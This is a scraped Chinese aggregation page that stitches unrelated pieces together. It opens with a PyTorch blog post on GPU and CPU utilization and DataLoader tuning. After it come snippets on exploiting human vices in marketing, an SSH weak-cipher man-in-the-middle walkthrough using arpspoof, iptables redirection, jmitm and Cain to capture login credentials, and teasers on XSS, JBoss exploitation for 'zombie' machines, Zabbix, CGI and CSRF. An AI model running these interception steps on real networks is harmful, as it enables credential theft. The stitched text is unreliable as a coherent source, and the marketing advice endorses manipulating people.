精华内容
下载资源
问答
  • 在深度学习模型训练过程中,在服务器端或者本地pc端,输入nvidia-smi来...往往发现多问题,比如,GPU内存占用率低,显卡利用率低,CPU百分比低等等。接下来仔细分析这些问题和处理办法。 1. GPU内存占用率问...

            在深度学习模型训练过程中,在服务器端或者本地pc端,输入nvidia-smi来观察显卡的GPU内存占用率Memory-Usage),显卡的GPU利用率GPU-util),然后采用top来查看CPU的线程数(PID数)和利用率(%CPU)。往往会发现很多问题,比如,GPU内存占用率低,显卡利用率低,CPU百分比低等等。接下来仔细分析这些问题和处理办法。

    (ps:对于如何在Intel CPU,ARM架构CPU,以及Jetson TensorRT上部署深度学习模型,以及部署遇到的速度问题,该如何解决。请查看我的另外一篇文章。如何定制化编译Pytorch,TensorFlow,使得CNN模型在CPU,GPU,ARM架构和X86架构,都能快速运行,需要对每一个平台,有针对性的调整。如何做到最大化加速深度学习在不同平台部署性能。请看我的这篇文章。)

    深度学习模型部署性能分析,Intel和ARM CPU上CNN计算速度差距分析。

    1. GPU内存占用率问题

            这往往是由于模型的大小以及batch size的大小,来影响这个指标。当你发下你的GPU占用率很小的时候,比如40%,70%,等等。此时,如果你的网络结构已经固定,此时只需要改变batch size的大小,就可以尽量利用完整个GPU的内存。GPU的内存占用率主要是模型的大小,包括网络的宽度,深度,参数量,中间每一层的缓存,都会在内存中开辟空间来进行保存,所以模型本身会占用很大一部分内存。其次是batch size的大小,也会占用影响内存占用率。batch size设置为128,与设置为256相比,内存占用率是接近于2倍关系。当你batch  size设置为128,占用率为40%的话,设置为256时,此时模型的占用率约等于80%,偏差不大。所以在模型结构固定的情况下,尽量将batch size设置大,充分利用GPU的内存。(GPU会很快的算完你给进去的数据,主要瓶颈在CPU的数据吞吐量上面。)

    2. GPU利用率问题

            这个是Volatile GPU-Util表示,当没有设置好CPU的线程数时,这个参数是在反复的跳动的,0%,20%,70%,95%,0%。这样停息1-2 秒然后又重复起来。其实是GPU在等待数据从CPU传输过来,当从总线传输到GPU之后,GPU逐渐起计算来,利用率会突然升高,但是GPU的算力很强大,0.5秒就基本能处理完数据,所以利用率接下来又会降下去,等待下一个batch的传入。因此,这个GPU利用率瓶颈在内存带宽和内存介质上以及CPU的性能上面。最好当然就是换更好的四代或者更强大的内存条,配合更好的CPU。

            另外的一个方法是,在PyTorch这个框架里面,数据加载Dataloader上做更改和优化,包括num_workers(线程数),pin_memory,会提升速度。解决好数据传输的带宽瓶颈和GPU的运算效率低的问题。在TensorFlow下面,也有这个加载数据的设置。

    torch.utils.data.DataLoader(image_datasets[x],
                                batch_size=batch_size, 
                                shuffle=True,
                                num_workers=8,
                                pin_memory=True)

            为了提高利用率,首先要将num_workers(线程数)设置得体,4,8,16是几个常选的几个参数。本人测试过,将num_workers设置的非常大,例如,24,32,等,其效率反而降低,因为模型需要将数据平均分配到几个子线程去进行预处理,分发等数据操作,设高了反而影响效率。当然,线程数设置为1,是单个CPU来进行数据的预处理和传输给GPU,效率也会低。其次,当你的服务器或者电脑的内存较大,性能较好的时候,建议打开pin_memory打开,就省掉了将数据从CPU传入到缓存RAM里面,再给传输到GPU上;为True时是直接映射到GPU的相关内存块上,省掉了一点数据传输时间。

    3. CPU的利用率问题

            很多人在模型训练过程中,不只是关注GPU的各种性能参数,往往还需要查看CPU处理的怎么样,利用的好不好。这一点至关重要。但是对于CPU,不能一味追求超高的占用率。如图所示,对于14339这个程序来说,其CPU占用率为2349%(我的服务器是32核的,所以最高为3200%)。这表明用了24核CPU来加载数据和做预处理和后处理等。其实主要的CPU花在加载传输数据上。此时,来测量数据加载的时间发现,即使CPU利用率如此之高,其实际数据加载时间是设置恰当的DataLoader的20倍以上,也就是说这种方法来加载数据慢20倍。当DataLoader的num_workers=0时,或者不设置这个参数,会出现这个情况。

    CPU利用率查看结果
    CPU利用率查看结果

            下图中可以看出,加载数据的实际是12.8s,模型GPU运算时间是0.16s,loss反传和更新时间是0.48s。此时,即使CPU为2349%,但模型的训练速度还是非常慢,而且,GPU大部分是时间是空闲等待状态。

    num_workers=0,模型每个阶段运行时间统计

            当我将num_workers=1时,出现的时间统计如下,load data time为6.3,数据加载效率提升1倍。且此时的CPU利用率为170%,用的CPU并不多,性能提升1倍。

    num_workers=1时,模型每个阶段运行时间统计

            此时,查看GPU的性能状态(我的模型是放在1,2,3号卡上训练),发现,虽然GPU(1,2,3)的内存利用率很高,基本上为98%,但是利用率为0%左右。表面此时网络在等待从CPU传输数据到GPU,此时CPU疯狂加载数据,而GPU处于空闲状态

    1,2,3号GPU的内存占用率和计算效率截图

            由此可见,CPU的利用率不一定最大才最好。

            对于这个问题,解决办法是,增加DataLoader这个num_wokers的个数,主要是增加子线程的个数,来分担主线程的数据处理压力,多线程协同处理数据和传输数据,不用放在一个线程里负责所有的预处理和传输任务。

            我将num_workers=8,16都能取得不错的效果。此时用top查看CPU和线程数,如果我设置为num_workers=8,线程数有了8个连续开辟的线程PID,且大家的占用率都在100%左右,这表明模型的CPU端,是较好的分配了任务,提升数据吞吐效率。效果如下图所示,CPU利用率很平均和高效,每个线程是发挥了最大的性能。

    num_workers=8时,CPU利用率和8个连续PID任务

            此时,在用nvidia-smi查看GPU的利用率,几块GPU都在满负荷,满GPU内存,满GPU利用率的处理模型,速度得到巨大提升。

    优化数据加载num_workers=8,和设置batch size的结果

            上图中可以看见,GPU的内存利用率最大化,此时是将batch size设置的较大,占满了GPU的内存,然后将num_workers=8,分配多个子线程,且设置pin_memory=True,直接映射数据到GPU的专用内存,减少数据传输时间。GPU和CPU的数据瓶颈得到解决。整体性能得到权衡。

            此时的运行时间在表中做了统计:

    处理时间统计
    处理阶段时间
    数据加载0.25s
    模型在GPU计算0.21s
    loss反传,参数更新0.43s

    4. 总结

            对上面的分析总结一下,第一是增加batch size,增加GPU的内存占用率,尽量用完内存,而不要剩一半,空的内存给另外的程序用,两个任务的效率都会非常低。第二,在数据加载时候,将num_workers线程数设置稍微大一点,推荐是8,16等,且开启pin_memory=True不要将整个任务放在主进程里面做,这样消耗CPU,且速度和性能极为低下。

                                                                                                                                                                         

                                                                                                                                                                         

                                                                                                                                                                         

            Supplementary:看到大家在评论回复的问题比较多,所以再加一些叙述!

            开这么多线程。第一个,查看你的数据的batch_size,batchsize小了,主CPU直接就加载,处理,而且没有分配到多GPU里面(如果你使用的是多GPU);如果是单GPU,那么就是CPU使劲读数据,加载数据,然后GPU一下就处理完了,你的模型应该是很小,或者模型的FLOPs很小。检查一下模型问题。还有就是,现在这个情况下,开8个线程和1个线程,没什么影响,你开一个num_workers都一样的。如果速度快,没必要分配到多个num_workers去。当数据量大的时候,num_workers设置大,会非常降低数据加载阶段的耗时。这个主要还是应该配合过程。

            在调试过程,命令:top     实时查看你的CPU的进程利用率,这个参数对应你的num_workers的设置;

            命令:   watch -n 0.5 nvidia-smi    每0.5秒刷新并显示显卡设置。

    实时查看你的GPU的使用情况,这是GPU的设置相关。这两个配合好。包括batch_size的设置。

                                                                                                                                                                    时间:2019年9月20日

    5. 再次补充内容

            有很多网友都在讨论一些问题,有时候,我们除了排查代码,每个模块的处理信息之外,其实还可以查一下,你的内存卡,是插到哪一块插槽的。这个插槽的位置,也非常影响代码在GPU上运行的效率。

            大家除了看我上面的一些小的建议之外,评论里面也有很多有用的信息。遇到各自问题的网友们,把他们的不同情况,都描述和讨论了一下,经过交流,大家给出了各自在训练中,CPU,GPU效率问题的一些新的发现和解决问题的方法。

            针对下面的问题,给出一点补充说明:

            问题1: CPU忙碌,GPU清闲。

     数据的预处理,和加载到GPU的内存里面,花费时间。平衡一下batch size, num_workers。

            问题2:CPU利用率低,GPU跑起来,利用率浮动,先增加,然后降低,然后等待,CPU也是浮动。

    • 2.1 下面是具体的步骤和对策:

    在pytorch训练模型时出现以下情况, 情况描述: 首先环境:2080Ti + I7-10700K, torch1.6, cuda10.2, 驱动440 参数设置:shuffle=True, num_workers=8, pin_memory=True; 现象1:该代码在另外一台电脑上,可以将GPU利用率稳定在96%左右 现象2:在个人电脑上,CPU利用率比较低,导致数据加载慢,GPU利用率浮动,训练慢约4倍;有意思的是,偶然开始训练时,CPU利用率高,可以让GPU跑起来,但仅仅几分钟,CPU利用率降下来就上不去了,又回到蜗牛速度。

    •  可以采用的方法:

    两边的配置都一样吗。另一台电脑和你的电脑。你看整体,好像设置配置有点不同。包括硬件,CPU的核,内存大小。你对比一下两台设备。这是第一个。第二个,还是代码里面的配置,代码的高效性。你一来,CPU利用率低,你看一下每一步,卡到哪里,哪里是瓶颈,什么步骤最耗时。都记录一下每一个大的步骤的耗时,然后在分析。测试了每一个大的过程的时间,可以看见,耗时在哪里。主要包括,加载数据,前向传播,反向更新,然后下一步。

    • 2.2 经过测试之后,第二次问题分析:

    经过测试,发现本机卡的地方在加载图像的地方,有时加载10kb左右的图像需要1s以上,导致整个batch数据加载慢!代码应该没有问题,因为在其他电脑能全速跑起来;硬件上,本机的GPU,CPU都强悍,环境上也看不出差距,唯一差在内存16G,其他测试电脑为32G,请问这种现象和内存直接关系大吗?

    • 情况分析

    最多可能就在这边。你可以直接测试batch size为1情况下的整个计算。或者将batch size 开到不同的设置下。看加载数据,计算之间的差值。最有可能就是在这个load data,读取数据这块。 电脑的运行内存16g 32g。其实都已经够了,然后加载到GPU上,GPU内存能放下,影响不大。所以估计是你的内存相对小了,导致的问题。试一下。

    • 2.3 问题定位,解决方法:
    • 这台电脑的内存条插的位置不对,4个插槽的主板,1根内存的时候应该插在第2个插槽(以cpu端参考起),而组装电脑的商家不专业,放在了第4个插槽上,影响性能,更换位置后,速度飞起来了!关于插槽详情,有遇到的朋友去网上收,一大堆!

            在自己电脑,或者自己配的主机上,跑GPU的时候,记得注意查看你自己的内存卡是插到哪一个槽上的。

            补充时间:2021年1月15日

    5.1 再次新补充一些内容

            有网友补充了一些在执行上面的问题中遇到的实际问题,附上他的解决方法。

            使用win 10修改num_workers后可能会报错Broken pipe。

    解决方法:1. 把代码放到if __name__ == "__main__":下运行;或者2.num_workers默认为0即可;或者3. 在Linux进行代码运行

            有一些内容需要说明:在Windows下面,设置num_threads,除了在做数据加载的时候,设置num_workers,还可以用torch.set_num_threads(4)多线程,单线程,都会用多个CPU核,跑多个CPU core的的。只是CPU利用率不高。你设置8线程,12线程,CPU会在每个核上,都进行分配,只是单核的占用率,不一样。即使设置2线程,在6核12线程的CPU,也会在每个核心上,分配计算资源的。只是单核分配的很少。

    5.2 关于加速CPU端训练的方法(无GPU)

            在单独的CPU上,做训练,或者做推理,intel CPU提供了OpenMP 和MKL-DNN的加速库。一般torch或者TensorFlow都做了这一块的优化。可以查看你的pytorch版本,是否支持。

    print(torch.get_num_threads())
    print(torch.__config__.parallel_info())
    
    print(*torch.__config__.show().split("\n"), sep="\n")
    
    
    os.environ["OMP_NUM_THREADS"]="8"  #设置OpenMP计算库的线程数
    os.environ["MKL_NUM_THREADS"]="8"  # 设置MKL-DNN CPU加速库的线程数。
    torch.set_num_threads(8)

    print(torch.get_num_threads())
    print(torch.__config__.parallel_info())

    print(*torch.__config__.show().split("\n"), sep="\n")


    os.environ["OMP_NUM_THREADS"]="8"  #设置OpenMP计算库的线程数
    os.environ["MKL_NUM_THREADS"]="8"  # 设置MKL-DNN CPU加速库的线程数。
    torch.set_num_threads(8)

            分析:

            上面这几个,都可以试一下。看你的pytorch版本,是否在编译之后,支持MKL-DNN加速。为了能控制你使用的线程数,set_num_threads(8) 这个线程数的多少,可以自己按照需求来设定。当你全力跑网络模型,当然设置大点。如果需要留一部分CPU性能来做其他的业务,4线程,6线程?都可以。自己试一试。配合着任务管理器或者htop top 在linux下实时查看CPU使用状态和设置多线程数量的关系。来定性的分配。

            print(torch.__config__.parallel_info()) , 这个函数,查看你的pytorch支持的intel加速库的信息。

            print(*torch.__config__.show().split("\n"), sep="\n") , 这个函数,查看你编译过程中的信息。

            实测结果:

            有没有OpenMP支持,速度影响不是太大。在1-2s内的影响。所采用的pytorch版本是否支持mkl-dnn不影响。在mac arm m1芯片下,开启mkl-dnn,速度比没有开启快4s。44s 与 48s的差别。我们的平台,都是支持mkl-dnn。没有mkl-dnn,速度比有mkl-dnn编译的模型,慢1.5倍左右。

            结论:

            mkl-dnn有无,对性能影响不是很大,1-2x的影响。如果你需要这点性能,那么就要重点检测,你的pytorch版本,是否在编译过程中,设置了use_mkl=on,use_mkldnn=on。大多数情况下,咱们安装的pytorch官方版本,都在build过程中,设置了开启mkl加速选项。这是intel Math Kernel  Library for Deep Neural Networks (Intel® MKL-DNN) 专门针对intel CPU做的CPU端深度学习加速库。

            arm平台下,有无OpenMP和mkl-dnn不确定,要查看这个pytorch是否对arm 这个架构有支持。nvidia的arm平台,jetson这一类的,nvidia自己做了重新编译的,都适配了arm的CPU。

    再提醒一下:以上设置,如果不进行设计,默认为0,会按照最大的性能,来运行。

            补充时间:2021年6月25日。ps:有任何性能加速上遇到的问题,欢迎提出,我经常会查看大家的问题,能回答的都会回答。

    对于如何在Intel CPU,ARM架构CPU,以及Jetson TensorRT上部署,以及部署遇到的速度问题,该如何解决。请查看我的另外一篇文章。

    深度学习模型部署性能分析,Intel和ARM CPU上CNN计算速度差距分析。

    展开全文
  • 利用人的注意力从微博帖子中提取关键词
    展开全文
  • 如何利用人性七宗罪来做营销

    千次阅读 2014-09-03 15:30:45
    这段时间经常有问我,他说我主要是卖手机,买玉器产品的,跟你的卖特产针对的用户群体不一样,我按照你的方法去吸引不到精准粉丝,并且我尝试用你的方法的时候效果不是好,那为什么出现这样的情况呢?...

    这段时间经常有人问我,他说我主要是卖手机,买玉器产品的,跟你的卖特产针对的用户群体不一样,我按照你的方法去吸引不到精准粉丝,并且我尝试用你的方法的时候效果不是很好,那为什么会出现这样的情况呢?下面我将分析一下并且今天教大家怎么利用人性七宗罪来做营销

    首先在互联网上卖东西 卖之前必须针对特定的用户群体去做广告,把他们吸引过来,其实卖特产和卖玉器,卖手机的用户群体是不一样的,比如卖手机那你做广告的时候肯定是到多人聚在一起看手机的地方,比如58的卖手机板块,卖玉器呢就需要针对土豪的地方了  因为玉器比较贵,那么哪里有土豪呢?58,汽车之家  上买豪车的地方,卖豪宅的地方,专门聘用高级保姆的地方,专门请司机的地方等等,当然还有很多平台上面都聚一定类型的群体比如“得脉”上面就基本都是一些职业经理,董事长等高级白领,老板,还有“来往”上面也有特定的用户群体,就看大家怎么去挖掘。

    找到特定群体的地方了  那应该怎么做广告呢?今天我教大家怎么利用七宗罪来做营销,七宗罪是哪些呢?贪婪,懒惰,淫欲,傲慢,嫉妒,暴怒,暴食。

    贪婪:

    人都想花最小的成本去做最大收益的事情,或者动不动做事情之前就想别人给自己带来什么利益,反正出发点就是利益,这种贪婪的心里反应可以做营销的提供原动力,怎么说呢?比如团购,秒杀,送红包等诱惑都是利用人性的这个贪婪为发出点来做营销的,所以如果你微信上是卖产品的你也可以这样做来吸引不少的粉丝过去。

    懒惰:

    一般日常生活当中,恨少人去仔细的思考问题,有些人学到东西以后 懒的去用文字描述出来,然后分享给大家,懒的去参加聚会,懒得去参加各种活动,就这样导致一个人的性格变的越来越宅了,那么做营销怎么使用懒惰的性格呢?我们可以做些简单的图文,并且内容吸引人,不要做篇幅太长的文件  否则他们懒的出去。

     

    嫉妒:

    嫉妒在日常当中,很多地方都表示出来,尤其是女性的美丽,很多女性看到别人比自己漂亮就会攀比,这是这个攀比我们就可以利用起来,比如广告语,你想变的美丽吗  谁谁就是这么过来的,她就想别人花钱能那么美 小样的 我也花钱肯定不差。呵呵


        傲慢:

       不管你承不承认,当你享用某种特权丶被处在某个光环之中时,心理就会膨胀,产生一种至尊的荣耀感,在营销当中很多地方都可以体现出来,比如QQ的点亮图标,加微博V,唱吧的鲜花等都是利用人们的虚荣做起来的。

     


    今天就分享这几个了 后续的文章继续搞起。

    展开全文
  • SSH协议弱加密算法漏洞的利用及复现(中间攻击) 多服务器或者交换机是存在SSH协议弱加密算法漏洞的,但是该漏洞如何利用呢?最近研究了下此漏洞的相关利用方法,对其整个攻击过程进行了复现。哈哈,本文具体...

    SSH协议弱加密算法漏洞的利用及复现(中间人攻击)

    很多服务器或者交换机是存在SSH协议弱加密算法漏洞的,但是该漏洞如何利用呢?最近研究了下此漏洞的相关利用方法,对其整个攻击过程进行了复现。哈哈,本文具体操作步骤适合小白操作,也欢迎大神指正,希望大神对于此漏洞利用提出一些想法或者更好,更便捷的方法,促进交流哈!???

    本文主要从SSH1.0和SSH2.0两个版本进行攻击复现,具体操作如下:

    一、SSH2.0版本

    1.准备环境
    Linux虚拟机3台:

    • 192.168.136.139:作为SSH服务端
    • 192.168.136.143:作为SSH客户端
    • 192.168.136.142:作为中间人攻击端

    2.详细步骤
    首先验证SSH服务端和客户端使用的协议及版本,可用如下命令查看:

    nc -VV 192.168.136.139 22
    

    在这里插入图片描述

    nc -VV 192.168.136.143 22
    

    在这里插入图片描述
    我们再使用Nmap探测SSH客户端使用的加密算法:

    nmap --script ssh2-enum-algos -sV -p 192.168.136.143
    

    在这里插入图片描述
    可以发现使用算法中包含arcfour, arcfour128, arcfour256等弱加密算法。
    在中间人机器(192.168.136.142)上下载jmitm软件并解压:

    wget http://www.david-guembel.de/uploads/media/jmitm2-0.1.0.tar.gz  #下载
    tar xf jmitm2-0.1.0.tar.gz   #解压
    

    对该工具进行配置,编辑jmitm软件中的server.xml(/jmitm2-0.1.0/conf/server.xml)配置文件:
    在这里插入图片描述
    运行/jmitm2-0.1.0/bin目录下的runm.sh程序,开始监听连接:

    ./runm.sh
    

    在这里插入图片描述
    依次运行以下命令:

    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT
    iptables -A FORWARD -j ACCEPT
    arpspoof -i eth0 –t 192.168.136.143(客户端IP) 192.168.136.139(服务端IP)
    

    在这里插入图片描述
    在ssh客户端机器上登录ssh服务端,命令如下:

    ssh root@192.168.136.139  -p 22 -2
    

    并输入密码toor进行登录。
    查看运行的程序runm.sh所输出的内容中,发现成功捕获到用户名(root)/密码(toor):
    在这里插入图片描述
    至此SSHV2.0版本中间人攻击成功。

    二、SSH1.0版本

    1.准备环境
    两台装有SSH-1.5-OpenSSH_3.8.1p1的Windows虚拟机(169.254.238.43、169.254.227.194)
    装有Cain软件的本地物理机作为中间人机器(169.254.141.172)
    2.复现步骤
    使用软件Cain。
    (1)选择虚拟机使用的网卡,如图
    在这里插入图片描述
    (2)选择start sniff,进行嗅探,点击Hosts按钮,扫描出局域网中存活主机。
    在这里插入图片描述
    (3)点击下方“ARP”按钮,添加需要嗅探的两个目标主机IP地址,如图
    在这里插入图片描述
    (4)点击工具栏上“ARP”按钮,开始中间人攻击。
    在这里插入图片描述
    (5)在Windows虚拟机(169.254.238.43)中进行ssh连接,并输入相关用户名密码

    ssh 用户名@169.254.227.194  -p 22 -1
    

    查看Cain软件,发现arp到用户名和密码,如图:
    在这里插入图片描述
    最后还可以查看ssh连接时所执行过的命令。
    在这里插入图片描述
    备注:
    可能会出现SSH密钥不对的情况,这是因为目标已经被链接过的原因,重启机器即可。
    这里SSH1.0版本不包含1.9版本,1.9版本的攻击方法是降级攻击,先通过脚本对其进行降级,再进行arp,这里以后有时间再试试? 之前试过几次,没试出来,使用的ettercap嗅探时会报错!???

    展开全文
  • 网上赚钱的门路方法,大部分都是利用这三种方法! 1、用钱来生钱 这需要有一定的资金基础,但是这比依靠时间赚钱来得轻松多了。不过这种赚钱方式风险大,例如我们常见的一些P2P平台,如果平台跑路了,你不仅...
  • 导读:Python是目前数据科学领域的王者语言,众多科学家、工程师、分析师都使用它来完成数据相关的工作。由于Python具有简单易学、语法灵活的特点,多需要处理数据的...
  • 的确,在我们每天生活的时间里,总要和形形色色的谈天说地,论事说,当然也有勾心斗角、争宠夺爱,等等诸如此类的物质形态,这些告诉我们如何与相处,有效地利用他人帮助自己,是我们需要静心思考和引导的,这...
  • 一开始任选一个正整数作为报数的上限值m,从第一个人开始按顺时针方向自1开始顺序报数直到报m的,将此删除,并将他的密码作为新的m值,从他在顺时针方向上的下一个开始重新从一报数,……,如此下去,直到所有...
  • 利用ENVI绘制土地利用

    万次阅读 多人点赞 2020-06-07 17:24:36
    下载武汉市的遥感影像图,任意选择一种分类方法,把影像上的土地利用/覆盖的类型分出来(要求将土地利用/覆盖的类型分为农用地、林地、草地、水体、建筑用地、未利用地6大类),并对分类结果进行评价,分析精度,...
  • XSS利用方式

    千次阅读 2018-01-16 16:54:06
    今天要研究的是XSS的利用,曾经有问我XSS怎么利用的,我也只知道XSS在网页中嵌入代码,获取目标IP、Cookie,但是从来没有实践过,今天浏览FreeBuf时,发现一篇XSS利用文章,哈哈哈……于是乎,实践一下…… ...
  • 四、利用的变体 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 漏洞利用是一门艺术。就像任何艺术一样,有不止一种完成事情的方式...
  • CV:基于face库利用cv2调用摄像头(或视频)根据人脸图片实现找(先指定要识别已知人脸的文件夹转为numpy_array+输入新图片遍历已有numpy_array) 目录 输出结果 设计思路 核心代码 输出结果 给定你想...
  • 其他人会将您的照片存储在云中。 但是,您如何利用云赚钱? 首先是忘记基础架构和虚拟化。 如果您认为2013年全球需要更多的IaaS提供商,那么您还没有看到当前提供的产品( 亚马逊 , 微软 , 谷歌 , Rackspace ...
  • arcgis制作土地利用转移矩阵

    千次阅读 多人点赞 2020-07-05 21:49:09
    1.首先下载土地利用的影像,在这里我用的是资源环境数据云平台的数据,分别为1980年与2015年的土地利用栅格影像,然后打开影像。 2.下载影像后进行重分类影像,因为影像原分类是二级分类,我这里需要的是一级分类...
  • 利用opencv进行换脸

    万次阅读 2016-12-26 09:41:06
    关于换脸的什么背景什么的,我也就不提了,直接说一下...1.脸部对齐:也就是把前一个的脸的部分分割出来覆盖到下一个的脸的地方。如下图: 脸部关键点检测 因为我们要变换的两张脸的形状一般是不同的,所以我们
  • CSRF漏洞利用介绍

    万次阅读 2020-06-02 18:35:22
    CSRF漏洞介绍 CSRF:跨站请求伪造,也称为One Click Attack 缩写为CSRF CSRF漏洞代码分析 <...我们把这个链接发给受害,受害点击后,就把受害的钱发给我们。 CSRF自动化探测 ...
  • 利用Excel爬取网页数据

    万次阅读 2018-08-31 16:54:16
    此方法只适用于对爬数据感兴趣但却不会使用Python之类的工具进行爬虫的,用Excel爬取网页数据,方便、容易上手,但是局限性大,它只能爬去单个网页的数据,并且受网页数据的排版影响。 操作流程 ...
  • 机交互未来如何改变人类生活

    千人学习 2018-06-22 11:14:02
    机交互技术视频解析教程,现阶段利用自然语言(NLP)以及自然语言理解(NLU)技术及机器学习方式,正慢慢脱离关键词的束缚。再下一步呢?是否机器人能主动跟产生互动?没有情感情绪的机器人真的算是智能机器吗...
  • 利用JBOSS漏洞抓肉鸡

    千次阅读 2018-01-23 22:11:02
    JBOSS是中间件,解析JSP的文件,由于中间件爆发漏洞一般打补丁,这次我们利用jboss漏洞抓肉鸡。 利用工具:jexboss-master 这个工具是Python写的在我的资源里面已经分享可以下载,也可以自己在github上面寻找...
  • 漏洞批量利用扫描框架

    万次阅读 2015-04-12 10:11:20
    今天我就分享一下自己写的一个漏洞批量利用的框架,运用这个框架,可以方便的进行一些漏洞的批量扫描。 0x01框架的原理 漏洞的扫描一般都是URL链接挂载一个POC或者有更狠直接上exp来尝试访问,如果服务器返回...
  • zabbix漏洞的利用

    千次阅读 2016-08-28 19:45:51
    然后当晚就自己撸了一个poc来利用一下。后来看到有有一个发了更好的脚本:https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-mysql-exp.py 不过还是记录一下自己的学习过程吧。 主要是
  • CGI漏洞利用

    万次阅读 2006-07-18 19:57:00
    CGI漏洞利用CGI漏洞是网管最容易乎视的地方,就我测试的这个网站上的漏洞, 我简单说一下,几个常见的漏洞地方。一般原理,解决方法,如果没有写全,请参考一些文献。 1,名字:?PageServices漏洞 这个漏洞是多...
  • CPU利用率与负载的关系

    万次阅读 2016-02-28 22:25:45
    通过这个指标可以看出在某一个时间段内CPU被占用的情况,如果被占用时间高,那么就需要考虑CPU是否已经处于超负荷运作,长期超负荷运作对于机器本身来说是一种损害,因此必须将CPU的利用率控制在一定的比例下,...
  •  在土地利用现状调查与土地利用动态监测中,主要运用GIS、遥感及现代科学技术掌握土地的利用情况,特别是城镇建设用地和耕地的利用情况。本方案主要充分利用“3S”技术以及地面调查和计算机网络通讯等技术手段,...
  • 总所周知,Dev的控件功能强大,多winform的使用者都在用这套控件,做会计这块功能的多都会用到会计凭证界面,据我所知,目前网上少有dev的控件来实现这个界面的,很多都是利用原生datagridview来绘制,...
  • Kali中间攻击(原理)

    千次阅读 2019-05-30 21:25:19
    中间的攻击手段(利用漏洞) 攻击基本原理 中间攻击原理:利用ARP协议没有认证机制,并且取最后一条信息作为最新的mac信息 假如小明 小红 和嫌疑K在同一个局域网中,他们都通过交换机来进行连接,这时候小明想...
  • QQ空间官方账号被黑产利用漏洞分析

    千次阅读 2018-06-11 11:48:24
    原文地址:https://mozhe.cn/news/detail/3332011年,Facebook推出了默认人脸识别功能实现自动识别圈功能,2013年,Instagram推出...在2013年,QQ空间也推出了圈功能,在他人对空间说说中,找到要圈的照片,...
  • 采用多线程充分利用CPU资源

    千次阅读 2018-12-15 21:57:46
    采用多线程充分利用CPU资源 首先说一下利用此法的需求场景: 假如你的一段业务逻辑设计到同时有多个人点击提交,但是访问所消耗的资源有限的情况下,比如:秒杀,一个商品在有限的数量上以及有限的时间限制上需要...
  • cpu利用率和cpu负载是什么?

    千次阅读 2018-09-22 18:53:23
    我们经常听到要好好使用cpu的资源,提高cpu利用率,要学习应对高负载的情况,那这个高负载其实大多数情况指的就是cpu负载。我们还学习到一个命令是top,这个命令可以得到他们的数值和其他系统指标。那么什么是...
  • 利用html+javascript开发桌面软件

    千次阅读 2016-12-21 12:22:58
    所以很多萌生了利用html+JavaScript开发桌面软件的想法。但是WEB应用对本地安全的限制性高,无法实现对诸如数据库和本地硬件的操作,使得这个想法难实现。最初的思路是扩展javascript,利用扩展的jsapi操作...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,746,676
精华内容 698,670
关键字:

很会利用人的人